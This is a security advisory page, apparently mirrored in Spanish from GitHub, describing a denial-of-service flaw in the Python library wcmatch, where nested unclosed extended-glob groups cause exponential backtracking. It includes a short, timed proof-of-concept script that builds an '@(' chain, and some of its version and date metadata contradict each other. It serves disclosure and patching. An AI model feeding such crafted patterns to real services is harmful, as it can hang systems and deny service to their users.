GHSA-84V8-QMGQ-9G88
Denial of Service via Exponential-Time Backtracking on Unbalanced Extended Glob Patterns
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 11.0.0 | wcmatch · -41 d desde divulgación | |
| Divulgación | Publicada | GHSA-84V8-QMGQ-9G88 divulgada · CVSS 7.5 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Wcmatch has an optional feature that enables extended glob patterns:`@(...)`, `+(...)`, `?(...)`, `*(...)`, and `!(...)`. These patterns can be nested, creating complex, powerful patterns.
Unfortunately, when sequencing long chains of unbalanced openings, excessive backtracking can occur when parsing and processing these patterns, causing exponential time to complete, resulting in a Denial-of-Service.
`wcmatch` versions < 10.2.1 are all affected by this issue.
Details
The parser, when seeing the start of a potential extended glob group, will start parsing the content with the assumption that the group is valid. Because the content is context sensitive (as to whether it is in the group or not in the group), if the group is determined to be not valid, the previously parsed content is discarded, and the parser returns to the start of the invalidated group. If a long chain of multiple opening brackets is presented as an input, this process will be applied to each and every group start, causing exponential time to complete. Since these patterns can be nested, it adds another level of complexity.
POC
Values were selected to hang an Apple Mac Book Pro (M4) for more than 5 seconds. An extended glob could easily hang a system with 50 - 60 characters.
POC is contained in a single script and is non-destructive. The impact is CPU/Time measured.
Below, a 60-character string is constructed with a chain of extended glob group starts (`@(`). This is enough to significantly hang the system under test. The script times out after five seconds.
from wcmatch import fnmatch
import signal
import time
# Max time in seconds
LIMIT = 5.0
class Timeout(Exception):
pass
signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout()))
signal.setitimer(signal.ITIMER_REAL, LIMIT)
t = time.perf_counter()
dt = None
count = 30
pattern = "@(" * count
print(f'Extended Glob Patten: Unclosed, nested groups x {count}')
try:
fnmatch.compile(pattern, flags=fnmatch.EXTMATCH)
dt = time.perf_counter() - t
except Timeout:
pass
finally:
signal.setitimer(signal.ITIMER_REAL, 0)
hung = dt is None
print(
f"{'> %.0f s (HANG)' % LIMIT if hung else '%.3f s' % dt}"
)
assert not hung and dt < 1.0, "Reproduced!"Run
uv run --with "wcmatch==10.2.1" --with "bracex==3.0" poc.pyMitgations
- In general, systems should not be configured to take untrusted input if security is a concern. Wcmatch is built on top of regular expressions to perform the pattern matching. Just like with regular expressions, it is always possible that a pattern could be crafted to somehow exploit the weakness of the regular expression engine or the parser logic that Wcmatch employs.
- Extended glob patterns are not enabled by default and must be explicitly enabled with the `EXTMATCH`/`EXTGLOB` flag.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypiwcmatch |
Corregida | 11.0.0 | -41 d | 12.0.4 no afectada |
11.0.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/facelessuser/wcmatch/security/advisories/GHSA-84v8-qmgq-9g88Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
